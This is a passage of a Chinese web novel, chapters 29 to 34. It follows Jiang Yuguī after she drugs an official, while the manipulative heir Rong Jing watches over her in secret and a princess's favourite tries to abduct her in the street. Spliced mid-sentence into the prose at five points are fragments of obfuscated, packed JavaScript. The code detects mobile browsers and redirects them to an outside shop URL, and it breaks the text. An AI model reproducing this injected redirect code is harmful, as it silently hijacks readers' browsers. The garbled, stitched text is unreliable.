她跑到姜于归身侧,面对着窗户的方向,露出了恰到好处的恐惧,拍着胸脯,声音带着颤音:“姑......姑娘......陈大人他......他这是怎么了?是......是死了吗?” 姜于归被她一问,刚放松的心又提了起来,连忙摇头,气息不稳的解释道:“不不不!他只是......只是喝醉了!醉得太厉害了!不信......不信你可以探探他的鼻息!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868622|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她紧紧的拽着自己的衣袖,矢口否认下药的事情,这是她最后的自我保护。 那花娘好像完全相信了姜于归的话,脸上露出原来如此的表情,重重的拍了拍胸脯,长舒一口气:“阿弥陀佛,佛祖保佑!只是醉了就好,真是吓死奴家了!” 她拍完胸口,手很自然的垂下,指尖在身侧隐蔽的做了一个极快的手势。做完这一切,她才又转向姜于归,语气带着几分真诚的关切。 “不过姑娘,此地真的不宜久留!陈大人脾气不好,若是他醒来发现......发现是与你饮酒后才醉成这般模样,只怕是不会轻易甘休。你......你得赶紧离开这里!” 姜于归正有此意,这个房间,这个充斥着陈迁酒气和猥琐气息的地方,她一刻也不想多待。 她反手抓住花娘的手臂,如同抓住救命稻草,眼中带着恳求:“姐姐,你能否帮帮我?我......我不认识路,也不知道该怎么悄无声息的出去。” 那花娘反手轻轻拍了拍她的手背,或许对方也是琴师或是什么乐器高手,姜于归察觉对方手上也带着薄薄的茧,不过姜于归没时间想其他,此刻只觉得被一种奇异力量安抚。 “你别怕,我知道一条通往侧门的小路,平日里没什么人走。你跟我来,我这就送你出去。” 她说着,利落的搀扶起有些脱力的姜于归,小心的绕开地上昏睡如死的陈迁,出了房间,迅速融入后院那灯火阑珊,曲折复杂的回廊阴影之中。 自始至终,惊魂未定的姜于归都没有回头再看一眼那个让她惊心动魄的房间,也没有察觉,在她身影消失在回廊拐角处时,暗处假山石后,有一道深沉难辨的目光,一直如影随形的凝视着她离去的方向,直到她彻底消失在视野中。 那道目光的主人,周身散发着与这靡靡之地格格不入的冷冽气息。 他微微侧头,对着身旁空无一人的阴影处,低沉而沙哑的嗓音,淡漠的开口,下达了指令:“去处理干净。” “是!” 阴影里,一个如同鬼魅般的黑影低声应道,随即悄无声息的掠出,方向正是姜于归刚才离开的那个房间。 30. 第 30 章 夜色已深,荣国公府的书房里却依旧亮着温暖的灯火,驱散着窗外的寒意。 容璟独自坐在宽大的紫檀木书案后,并未处理公务,修长的手指间把玩着当初姜于归掉落的,本应被他安置在手侧抽屉的珍珠耳钉,神情在跳动的烛光下显得有些莫测。 他在等,等他的猎物归来,等验收他精心布局的成果。 “笃笃——”极轻的叩门声响起。 “进。”容璟将耳钉放回去,声音是一贯的温和清润。 长青推门而入,躬身低语:“世子,姜姑娘回来了,已至院外。” 容璟的唇角几不可查的弯了一下,那是一个一切尽在掌握的弧度。 “请她进来。” 门再次被推开,姜于归走了进来。 她已换下了那身为了混入聆音阁而穿的,略显艳俗单薄的衣裙,穿着一件素净的月白夹棉冬装,洗去了脸上的脂粉,露出原本清丽却带着明显疲惫的眉眼。 她的脸色还有些苍白,像是被夜风浸透,又像是心有余悸未曾完全平复,只是在对上他目光时,她下意识的垂了垂眼睫,仿佛那烛光有些刺眼。 “世子。”姜于归福了一礼,声音带着一丝经历风波后的低哑。 容璟的目光在她身上不着痕迹的停留了片刻,像是在确认他珍贵的藏品是否完好无损。 随后他抬手,指了指下首铺着厚厚锦垫的椅子,语气温和,问得随意,仿佛只是关心一位晚归的朋友:“坐!事情......还顺利吗?” 姜于归依言坐下,双手在膝上交握,指尖微微蜷缩。 她整理了一下思绪,尽量简洁的陈述了今晚在聆音阁的经过。 如何假扮琴师,如何意外听到陈迁酒醉后的狂言。关于那个房间里的神秘贵人及其轻佻的触碰,她本能的选择了沉默,只字未提。 那是她不愿回顾的屈辱,也似乎与获取消息的核心目的无关。 姜于归抬起头,看向容璟,眼中带着希冀与探寻:“陈迁他提到,关于慕容府的案子,他早就留了一手,世子,您说,这会不会就是能证明林晏清白的证据?” 容璟安静的听着,指尖在光滑的书案上轻轻敲击,发出几不可闻的笃笃声,若有所思。 他沉吟片刻,点了点头,神色变得郑重了些:“证据?此事我知道了。陈迁此人心思诡谲,善于钻营,他口中的留一手,是真是假,是能翻案的铁证,还是引人上钩的陷阱,尚需仔细查证,不可贸然行动。” 容璟看向姜于归,语气带着不容置疑的决断,也含着一丝不易察觉的,将她彻底划入自己羽翼之下的意味:“聆音阁那边,你绝不可再去了,今日之事,虽侥幸未出大乱,但已足够凶险,林晏将你托付于我,我需得保证你的安全,不容有失。” 姜于归迎上他的目光,在那片看似温和的深邃里,她清晰的读到了一种不容反驳的强势。 她知道,他说的有道理,今晚的经历也让她心有余悸。于是乖巧的点了点头,带着几分后怕:“我明白,今夜是于归莽撞了,给世子添麻烦了。” 容璟微微一笑,那笑容在温暖的烛光下显得格外温润,带着安抚人心的力量,“无妨!你能平安回来就好,夜深了,回去好好歇着吧,我让人备了安神汤。” “是,多谢世子。”姜于归再次福礼,转身往外走。 但就在她的手指即将触碰到冰凉的门扉时,脚步却顿住了。 像是下定了某种决心,她猛的转过身,抬起头,目光坦诚而直接的看向容璟:“世子,我......我今晚在聆音阁,除了弹琴探听消息,还做了一件事。” 她的语速有些快,带着点豁出去的意味,仿佛不说出来,心里就无法安宁。 “哦?”容璟眉梢微挑,露出恰到好处的讶异,示意她说下去。 姜于归深吸一口气,声音压得更低:“我用了一点迷药,药倒了陈迁。” 她说完,微微屏住呼吸,纤长的睫毛轻颤,等待着容璟的反应。 是惊讶?是不悦?还是责怪她打乱了他的部署? 然而,预想中的任何负面情绪都没有出现。 容璟看着她那副带着点忐忑,却又强自镇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868623|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,心底深处掠过一丝极淡的,连他自己都未曾清晰察觉的愉悦。 她没有隐瞒他。 而且,这种不按常理出牌,在知道镯子的暗器使用完毕,却懂得在深入绝境之前,提前做准备保护自己的狠劲与果决,像一颗投入他死寂心湖的石子,激起了欣赏的涟漪。 容璟唇角缓缓勾起一抹比之前真切了几分的笑意,声音放得更加柔和,带着一种引导般的赞许:“做得很好。” 姜于归愣住了,清澈的眸子里写满了难以置信,她甚至怀疑自己是不是听错了。 容璟站起身,绕过书案,走到她面前。距离不远不近,恰好能让她感受到他身上那股淡淡的,清冽的沉香气息所带来的无形压迫感,却又不会太过冒犯。 他看着她,目光里没有丝毫因为她私下准备迷药而生的猜忌或怒气,反而带着一种毫不掩饰的,发现珍宝般的欣赏。 “虽然你没提前告诉我,但懂得未雨绸缪,在危急关头果断出手保护自己,有什么不对?事后更能坦诚相告,免生枝节,心思缜密。” 容璟的目光落在她微微睁大的眼睛上,语气笃定:“姜姑娘,你比我想象的,更要聪慧,也更果决。” 随后抬起手,似乎想如长辈或挚友一般轻轻的般拍拍她的肩以示安慰,温声开口道:“受惊了吧?安神汤应该快好了,回去喝了,好好睡一觉。” 容璟的这番姿态,温和,体贴,充满了理解,包容与毫不吝啬的赞赏,完美的扮演了一个可靠,强大且尊重她的盟友角色。 姜于归因他意外的肯定而心头一暖,那份因擅自行动而产生的忐忑消散了大半,取而代之的是一种被理解的熨帖:“其实也还好,都过去了,多谢世子。” 这次,她是真心实意的道谢,然后才转身离开了书房。 听着她渐行渐远的脚步声,容璟负手立于窗前,望着窗外沉沉的夜色,无声的勾起了唇角。 姜于归果然如他所料,将一切的巧合与顺利,都归结于他的庇护与安排。 猎物正沿着他铺设的心理路径,一步步走向更深的网中央。 31. 第 31 章 虽然决定夺取,但容璟并不急于让姜于归看穿所有。 容璟自己活在完美的伪装中,但他看够了任性的虚伪和龌龊。 姜于归身上那种自带风骨的真实,真是一道刺眼又迷人的光。 容璟厌恶这光让他无所适从,这道光的存在,本身就是对他世界的挑衅,他必须掌控它,定义它。 所以,只是单纯的把姜于归拉入他的世界还不够。 他享受这种引导的过程。 他要让姜于归看清他的全部,看清他的灵魂。 他要让姜于归明知道他是深渊,却依然无法自拔的被他吸引,最终自愿与他一起沉沦。 他要让她所有的情绪,恐惧,好奇,依赖,感激,乃至未来可能产生的,因看透他本质而萌生的绝望与共鸣,都为他一人而产生。 他甚至已经在脑海中勾勒出未来的某一天,当姜于归终于褪去所有侥幸与幻想,彻底看清他究竟是个什么样的人时,他该用什么样的神情和语气对她说话。 “你看,这个世界上,也只有你会如此费尽心机,想要看清我。” 那将是他最完美的宣告。 姜于归回到房间,泡在温热的水中,紧绷的神经才彻底松弛下来。 她裹在柔软的被子里,开始复盘今晚的一切。 越是深思,那个身影就越发清晰——容璟。 他没有拒绝她近乎鲁莽的请求,为她提供了接近陈迁的机会和身份。 在她药倒陈迁后,非但没有责怪,反而肯定了她的做法,安抚了她的惊惶。 她离开聆音阁时那般顺畅无阻,没有遇到任何盘查或阻拦...... 现在冷静想来,那聆音阁是何等地方?她一个生面孔,用药迷倒了一位朝廷官员,即便只是暂时的,又怎能如此轻易脱身,仿佛什么事都未曾发生? 必然是容璟早已打点好一切,或是派了人在暗中如同最高明的清道夫,为她扫清了所有障碍,确保她能平安归来。 思绪不由得转到那个被陈迁粗暴推开的花娘。 当时情况紧急没多想,此刻回忆,那些细节才浮现出来。 被那么用力一推,姜于归似乎......并没有听到重物落地的闷响? 那花娘跌倒的姿态,似乎带着一种训练有素的卸力技巧? 姜于归将这些看似零散的细节串联起来,得出了一个让她心头微暖,却又夹杂着一丝难以言喻的复杂情绪的结论。 这一切,恐怕都在容璟的安排与注视之下,他默许了她的行动,并在暗中为她兜底,保护了她的安全。 这个认知,让她对那位心思深沉的世子,生出了一种强烈的,混杂着庆幸的感激。 唯一让她想不通的,是那个蒙住她眼睛的神秘贵人。 那人的行为轻佻,带着一种令人不适的掌控欲,绝非君子。 容璟知道他的朋友是这般品性吗? 不过这个念头也只是一闪而过,她便自行给出了合理的解释。 或许,容璟只是为了计划顺利,并未向那位友人透露姜于归的真实身份与目的,只当她是聆音阁里一名普通的,可供消遣的琴师。 在那等风月场所,客人有些出格的举动,似乎......也并非难以理解。所以容璟及时出现,阻断了后续可能发生的事。 毕竟,容璟的核心目的是让她获取消息,节外生枝并非他所愿。 他朋友的行为......应是个计划外的,令人不快的意外。 如此一想,心中最后一点疑虑也消散了。 所有的惊险,屈辱,不安,最终都归结于一个清晰的指向容璟的帮助与庇护。 姜于归翻了个身,将脸埋进柔软的被褥里,深深吸了口气。 在安神汤的作用下,渐渐沉入睡眠。 翌日,姜于归又去了一趟慕容府。 回来时,她的心情比去时更加沉重了几分。 即便有容璟多加照拂,慕容二老强撑的精神背后,是肉眼可见的日益衰败的身体,和那双望不到尽头的,逐渐麻木的眼睛。 她一再宽慰,说容世子正在全力追查,定能还林晏清白,可二老脸上也只是挤出一点勉强的笑意,那笑容里,是听多了空头承诺后的疲惫与不敢期待。 姜于归心事重重的往回走,思绪纷乱,并未留意到身后不远不近,始终跟着两道融入市井,毫不起眼的身影。 就在一个相对安静的街角,一辆装饰华丽,甚至有些逾制的马车,仿佛早已算准时机,悄无声息的滑至她面前,精准的挡住了她的去路。 姜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868624|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 于归下意识的停住脚步,心头掠过一丝警觉。 下一刻,车帘被一只保养得宜,戴着翡翠扳指的手掀开,露出一张过分阴柔俊美的脸。 那人看起来二十出头,眉眼精致,肤色白皙,但眼神里却带着一种挥之不去的轻佻与阴郁。 他的目光如同黏腻的蛇信,在姜于归身上毫不掩饰的打量了一番,毫不掩饰其中的惊艳与贪婪,嘴角随即勾勒出一个势在必得的笑容,顿时让姜于归想起了之前遇见三个混混调息她的事情。 他开口,声音带着一种刻意的慵懒腔调:“哟!这是哪家的小娘子,生得如此标致?怎的一人在此徘徊,可是有什么难处?” 姜于归心下一沉,面对这明显的当街拦路,不好的预感瞬间攫住了她。她下意识的后退半步,手已经悄悄缩回袖中,摸向手腕。 空的! 她这才猛的想起,镯子里的暗器早已被厨房的那个张嬷嬷不小心耗尽,一股冰冷的寒意从脚底升起,这次,她真的毫无防备了。 而且,眼前这人,通身的气派和那有恃无恐的眼神,显然不像上回那几个普通的地痞流氓那般好对付。 他是谁?盛京哪个权贵之家的纨绔? 这个猜测刚刚浮现,下一刻,姜于归就察觉到了一丝异样。 那男子已走下马车,目光中的贪恋之色更浓,甚至喉结都不自觉的滚动了一下,显露出最真实的生理反应。 然而,他伸出的,意图明显的手,在即将触碰到姜于归衣袖的瞬间,却硬生生的顿住了。 指尖在空中微微蜷缩,显示出一种强忍的,带着某种遗憾的克制。 随即,他打量姜于归的眼神,除了色欲,更添了几分审视与探究,以及一种无法随心所欲的烦躁。 他发出一声意味不明的咂舌声,再次评价道:“真是个难得的水灵人物啊!” 姜于归面色冰冷,全身戒备,并未理会他的污言秽语。 那男子见她如此,似乎想到了此次前来的任务,勉强收起脸上那点真实的遗憾之色,继续摆出那副居高临下的姿态,用带着命令口吻的语气道:“我家主人要见你。这位姑娘,还请跟我走一趟吧!” 强行压下心里的惊慌,姜于归稳住声音,反问道:“请问贵主人是哪位?邀我前去,所为何事?” 32. 第 32 章 男子得意的眯起眼睛,仿佛听到了什么可笑的问题:“去了你自然就知道!我家主人身份尊贵无比,你能得他青眼,见上一面,那可是八辈子修来的福分!问那么多作甚?” 身份尊贵?上京之中身份尊贵的人多了去了,可是谁会用这种方式来请她? 姜于归心脏狂跳不止,脑中飞速思索。 她当然不能就这样不明不白的被带走,尤其是看着眼前这个男子眼中毫不掩饰的贪婪,若是跟他走了,下场不堪设想。 于是,她深呼吸一口气,强迫自己冷静下来,抬起眼眸,目光清亮的直视对方,语气不卑不亢:“你说你贵主人诚心相邀,为何连名讳都不愿相告?连最基本的坦诚都没有,可见心意不诚。既如此,请恕小女子难以从命!” 那男子显然没有料想到姜于归会有这样的胆量和反问,愣了一下,脸上瞬间露出了被冒犯的怒色。 他冷笑一声,彻底撕掉了那层虚伪的客套:“好个牙尖嘴利的小娘子!给脸不要脸!敬酒不吃吃罚酒!来人——” 男子对着身后马车旁侍立的,一看就是精锐护卫的家奴一挥手:“扶这位姑娘上车!” 两名身材魁梧的护卫立刻应声上前,眼神凶悍,伸手便欲强行架走姜于归,姜于归吓得连连后退。 就在这千钧一发之际! 一道身影猛的从旁边踉跄着撞了过来,正好隔开了护卫和姜于归。 那是一个提着菜篮子,衣着朴素的妇人,看似寻常,时机却巧合得惊人。 “哎呀!对不住对不住!这地面湿滑,一时之间没站稳,冲撞了贵人,真是罪过!” 那妇人连声道歉,脸上带着市井小民特有的惶恐。 她一边说着,一边俯身慌慌张张的捡拾散落在地上的蔬菜。 然而,就在她俯身的瞬间,用只有姜于归能听到的,极低极快的声音说道:“姑娘别怕,奴婢是世子的人!” 世子的人! 在听到这五个字的瞬间,姜于归那紧绷到极致,几乎要断裂的心弦,好似骤然被人托住,猛的一松! 一股难以言喻的复杂情绪涌上心头,是得救的庆幸。 与此同时,一丝微妙的,被无形视线时刻笼罩的寒意,也悄然爬上脊背。 容璟......他派了人一直在保护......或者说......监视着她? 这个认知让她在安心的同时,也感到一阵轻微的窒息。 脑中思绪电转间,那锦袍男子的人已再次上前,面色不善。 而那妇人也已利落的站起身,她脸上的惶恐瞬间消失不见,取而代之的是一种沉静却不失恭敬的神情。她一步不退的挡在姜于归身前,对着那男子规规矩矩的行了一礼,开口道。 “赵公子,恕奴婢眼拙,方才没有立刻认出您来。” 她的声音不高,却清晰的传入在场每个人耳中。 “不过,这位姜姑娘是我们荣国公府世子的贵客,世子爷特意吩咐,要好生照看,不得有任何闪失。您这样......当街请人,是否有些欠妥?若是惊扰了姑娘,世子爷问起罪来,奴婢们实在担当不起。” 妇人的话音刚落,那位赵公子脸上的轻佻与怒色瞬间凝固,像是被冰封住。 他显然认得这女卫,或者说,认得她所代表的身份,但他并未如姜于归预想的那样露出畏惧之色,反而像是听到了什么极其荒谬的事情,不仅没有退缩,反而上前逼近一步,目光在女卫和姜于归之间来回扫视,充满了讥诮与挑衅。 被称为赵公子的人上下打量着女卫,然后故意拉长了语调,有几分阴阳怪气的声音开口道:“哦?容世子的人?” 随后,赵公子脸上故意做出一副为难的神色,但眼底的讥笑几乎要溢出来。 “你既然知道自己是下人,担待不起惊扰贵客的罪过,那就该明白,赵某今日前来,也是奉命而为!” 赵公子的语气陡然转厉,带着一股狐假虎威的嚣张,他特意加重了奉命而为四个字,姿态摆得极高,几乎就差直接点出自己身后那尊大佛的名号了。 他逼近女卫,声音压低,却带着浓重的威胁:“你如今这般阻拦我,是不将我家主人的命令放在眼里吗?这叫我回去,很难交代啊!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868625|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>空气仿佛都在这一刻凝固了,原本还有几个远远围观的行人,此刻也吓得彻底躲远,生怕被这场权贵之间的交锋殃及池鱼。 姜于归的心再次提了起来,手心沁出冷汗。 她更加好奇了,这赵公子究竟是谁的人?竟连容璟的名头都似乎压不住? 那女卫面对赵公子赤裸裸的威胁,依然没有退缩,只是微微抬起了头,目光平静的迎上对方阴鸷的视线。 她的语气依旧恭敬,脸上甚至还带着微笑,但说出来的话,却像是一柄淬了毒的匕首,精准无比的刺向了对方最在意,最脆弱的地方。 “赵公子言重了。谁不知道您深得主家青睐,是主家面前说得上话的红人。今日之事,您回去之后,与主家好好分说一番,陈明利害,想必主家定能体谅您的难处,不会因此等小事就责怪于您的。” 她缓缓说道,每个字都清晰无比,这番话听上去像是在恭维,是在给对方找台阶下。但落在赵珩耳中,每一个字都像是一根烧红的钢针,狠狠的扎进了他的心窝! 深得主家青睐?说得上话的红人? 赵公子像是想到了什么,脸色瞬间由白转青,眼神更是尽显阴狠之色。 “你——” 赵公子气的一时语塞,胸口剧烈起伏,脸色由白转青,那眼神阴狠得如同毒蛇,恨不得立刻扑上去将这女卫生吞活剥! 她竟敢!竟敢如此当众撕他的脸皮! 而女卫却依旧平静的看着他,仿佛只是在陈述一件再简单不过的事实,那眼神深处的淡漠,比直接的蔑视更让人难堪。 赵公子在那女卫平静无波的目光下,只觉脸上火辣辣的,仿佛被当众剥光了衣服,所有倚仗的虚张声势都被戳破,只剩下内里不堪的真实。 那强撑的威风再也维持不住,彻底转化为了恼羞成怒的暴戾。 他从牙缝里挤出几个字,声音因极致的愤怒而微微颤抖:“好!好得很!既然敬酒不吃吃罚酒,那就休怪我不讲情面了!” 说罢,赵公子猛的退后一步,对着身后那些精锐护卫一挥手:“给我上!把人带走!谁敢阻拦,格杀勿论!” 33. 第 33 章 护卫得令,立刻如虎狼般扑上,目标明确,直取被女卫护在身后的姜于归。 女卫眼神一凛,瞬间将姜于归往身后更安全的位置一推,低喝一声:“姑娘退后!” 随即身形如电,迎了上去,她身手极为不凡,招式凌厉简洁,毫无花哨,专攻关节要害,瞬间就放倒了冲在最前面的两人。 但对方人数占优,且显然也是精心训练的好手,配合默契,几番缠斗下来,竟凭借人数优势,渐渐将女卫与姜于归分割开来。 一名护卫看准空档,眼中凶光一闪,伸手便要去抓姜于归的胳膊! 姜于归脸色煞白,连连后退,背后已是冰冷的墙壁,退无可退! 眼看那粗粝的手掌即将碰到自己,她心中涌起一股绝望的狠意,不假思索的拔下头上一根用作装饰的素银发簪,对着那只伸来的手,用尽全力狠狠刺了下去! “啊——!” 那护卫猝不及防,痛呼一声,手背上顿时鲜血淋漓。 他没想到这个一直躲在人后,看似柔弱的女子竟有如此狠辣果断的一面,剧痛之下,凶性大发,攻击的招式更加狠厉,直奔姜于归面门而来! “小心!” 女卫见状,厉喝一声,不顾自身空门大开,猛的合身扑上,用自己后背硬生生替姜于归挡住了对方势大力沉的一击! “噗——” 女卫闷哼一声,嘴角溢出一丝鲜血,但她动作毫不停滞,借着前冲的势头,手中不知何时出现的短刀寒光一闪,精准的划过了那受伤护卫的脖颈! 鲜血瞬间喷涌而出! 可伤了一个,立刻有更多的人补上。 眼看着护卫们步步紧逼,形势危急,而那赵公子在一旁面露狞笑,姜于归扶着为自己受伤却依旧将她护在身后的女卫,银牙几乎咬碎。 难道......真的要答应跟他走,去面对那个未知的,显然不怀好意的主人? 就在她几乎要被绝望淹没,准备开口妥协,以求暂时保住女卫性命之际,远处传来声响。 “住手!” 一声威严沉浑的断喝,如同惊雷般自身后街口炸响! “盛京城内,天子脚下!何人在此聚众斗殴,强掳民女?!” 人还未近,声音先来。下一刻,只见一队身着京兆府衙役公服的官差,在一个身着深青色官袍的中年官员带领下,快步赶来,迅速将混乱的双方隔开。 为首的官员神色凛然,不怒自威,正是京兆府尹,顾守正。 姜于归不认识他,但看其气度与官服,心中顿时生出一线希望。 而那赵公子顿时眉头紧紧皱起,不过脸上非但没有多少惧色,反而闪过一丝被打扰的不耐与阴鸷。 他上前一步,皮笑肉不笑的说道:“我道是谁,原来是顾大人。年节之际,大人不在府中好生享受假期,何必来管这档子闲事?” 顾守正目光如电,迅速扫过惊魂未定,发髻微散的姜于归,和她身前嘴角带血,却依旧持刀戒备的女卫,最后落在那气焰嚣张的赵珩身上,语气沉静却带着不容置疑的律法威严:“维护盛京治安,肃清街道,是本官职责所在,无所谓假期不假期!倒是你,光天化日,纵容手下持械行凶,强掳民女,该当何罪?!” 赵珩闻言,嗤笑一声,有恃无恐的指了指姜于归,朗声道:“顾大人,你有所不知!此女名为姜于归,乃钦犯慕容琛之同党!眼下频繁进出慕容府,行踪诡秘,我们有理由怀疑她私藏慕容琛罪证,意图不轨!我等乃是奉永嘉公主之命,带她回去问话,协助查案!此乃公务,何来行凶强掳一说?” 他这话说得滴水不漏,而姜于归也从他的话,得知了他的主人究竟是谁? 永嘉公主? 姜于归想了想,还是不认识。但想到那眼前的人会被女卫三两句就气着,莫非......他是永嘉公主的面首? 眼看那赵公子既搬出了永嘉公主压人,又点明了姜于归与犯人林晏的关系,试图让顾大人知难而退。 那赵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868626|191826||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 公子见此又顿了顿,语气变得微妙,带着施舍般的意味:“大人不如行个方便,待开朝之后,案情明朗,自会按程序将她移送刑部,就不劳您京兆府费心插手了。” 他这话说得冠冕堂皇,既搬出了永嘉公主这尊大佛压人,又点明了姜于归与钦犯慕容琛的关系,试图将强掳扭曲成依法带人,让顾守正知难而退。 姜于归的心沉了下去,没想到要抓她的人竟然是当朝公主! 然而,顾守正闻言,不仅没有如赵珩预料的那般退缩,脸色反而更加凝重,腰背挺得笔直,如同雪压不弯的青松,直面对方的威压。他的声音清晰的传遍当场,带着一股浩然正气。 “本官再说一次!维护京城治安,审理辖区内案件,是京兆府的职责!即便这女子真与案件有关,也当由本官先行带回衙门,审问查证,查明原委,按《大靖律》行事!永嘉公主殿下身份尊贵,顾某自然敬重,但殿下亦是大靖臣民,无权越过朝廷法度,私设公堂,羁押人犯!” 顾大人目光如炬,紧紧盯着赵珩,字字铿锵:“若人人皆以协助查案为名,便可无视法纪,肆意当街抓人,这京城法度何在?朝廷威严何在?!今日之事,本官管定了!” 赵公子脸上的假笑终于彻底消失,取而代之的是一片冰冷的阴沉,眼中杀机闪烁。 他上前一步,几乎与顾守正面对面,压低了声音,语气里充满了毫不掩饰的威胁。 “顾大人......” 他几乎是从牙缝里挤出这几个字:“你今日,是打定主意,非要与公主殿下作对了?你可要想清楚......后果!” 顾守正毫无惧色,坦然迎上他威胁的目光,声音不大,却掷地有声:“顾某行事,只依国法,只循良心,有何后果,顾某一力承担!” 场面一时僵持不下,剑拔弩张。 一方是手握实权,铁面无私的京兆府尹,一方是背靠公主,气焰嚣张的面首。 冰冷的空气里,弥漫着权柄与法理的无声交锋。 34. 第 34 章 姜于归站在女卫身后,看着顾守正挺拔不屈的背影,心中百感交集。 就在双方剑拔弩张僵持不下之际,长街之上,忽然听见一阵环佩叮当,一辆极其奢华,以金丝楠木为车身,缀满琉璃珠的马车,在更多身着宫中制式铠甲的护卫簇拥下,缓缓的停在了街口。 那阵仗,远比这位赵公子带来的更为煊赫,带着皇家的威仪。 马车的帘子被一只戴着碧玉戒指的纤纤玉手撩开,露出一张明艳张扬,保养得宜的脸庞。 那女子约摸二十五六年纪,云鬓高髻上插着金凤衔珠步摇,两侧点缀着点翠的祥云簪,耳坠是赤金缠珍珠的坠子。 她眉眼狭长,眼尾微挑,带着一种久居上位的,漫不经心的威仪与浸淫权势的风流。 来人正是深受当今陛下宠爱的长女,永嘉公主——李明月。 她的目光在场内扫过,先是落在狼狈的赵公子身上,语气带着一丝亲昵却不容错辨的嗔怪:“赵珩,你是越发不中用了,让你请个人,也磨蹭这半日?” 她唤的是他的大名,但那份熟稔与随意,显是平日极为亲近,将其视为家奴般的存在。 而赵珩在见到来人之后,如同溺水之人抓住了浮木,脸上瞬间堆起委屈与讨好,几乎是连滚爬爬的快步走到车前,指着顾守正道:“殿下明鉴!并非是小的不用心,实在是顾大人横加阻拦,硬说小的这是强掳民女,要治小的罪呢!小的报出殿下名号,顾大人也......也丝毫不给情面!” 赵珩刻意扭曲事实,将自己扮作十足的受害者。 永嘉公主这才将目光转向一旁神色肃然,身姿挺拔如松的京兆府尹,脸上绽出一个无懈可击的,属于上位者的浅笑,只是那笑意并未抵达眼底。 “原来是顾大人,看来是场误会。本宫并无他意,只是听闻这位姜姑娘蕙质兰心,心中甚喜,想请过府一叙,做个客罢了。” 她的语气轻松随意,仿佛真的只是一次寻常的,风雅的朋友邀约,将方才剑拔弩张的拦截轻描淡写的盖过。 但顾守正身姿未动,并未因对方尊贵的身份而显出半分退缩或谄媚。 他拱手,行了一个标准的下官见皇族的礼,声音沉稳有力,字字清晰:“臣京兆府尹顾守正,参见公主殿下,殿下千岁。” 礼毕,他直起身,目光坦荡的迎上永嘉公主的视线,继续道:“恕臣直言,殿下若真是诚心邀客,何须动用如此多的护卫,此刻天色不早,行这半路拦截,强逼就范之事?此等行径,与市井匪类何异?臣既为京兆府尹,掌京畿治安刑名,见此情状,依法过问,制止暴行,护佑百姓,乃是臣分内之责,亦是《大靖律》所载之明文,还望殿下明察。” 他搬出了《大靖律》,将个人行为上升到了国家法度的高度,语气不卑不亢,既守住了臣子的礼节,又捍了卫法律的尊严。 永嘉公主脸上的笑容淡了下去,如同阳光被乌云遮蔽。 她没再看顾守正,而是将冰冷的,带着审视意味的视线投向身旁躬身站着的赵珩,忽然毫无预兆的扬起手。 “啪——!” 一记清脆响亮的耳光,结结实实的落在了赵珩的脸颊上。 “混账东西!” 永嘉公主的声音冷得像三九天的寒风,带着显而易见的怒意:“本宫何时让你这般请人了?竟敢私自揣度本宫的命令,行此等鬼祟跋扈之事,败坏本宫清誉!” 赵珩猝不及防,他半张着嘴,眼中闪过一丝难以置信的屈辱和深切的怨毒,但接触到永嘉公主那毫无温度,仿佛在看一件无用废物的眼神时,他立刻深深的低下头,将所有情绪死死压住,半边脸火辣辣的疼,却不敢伸手去摸,只从牙缝里挤出颤抖的声音。 “是......是小的蠢笨!会错了意,办砸了差事......小的该死......请殿下息怒......” 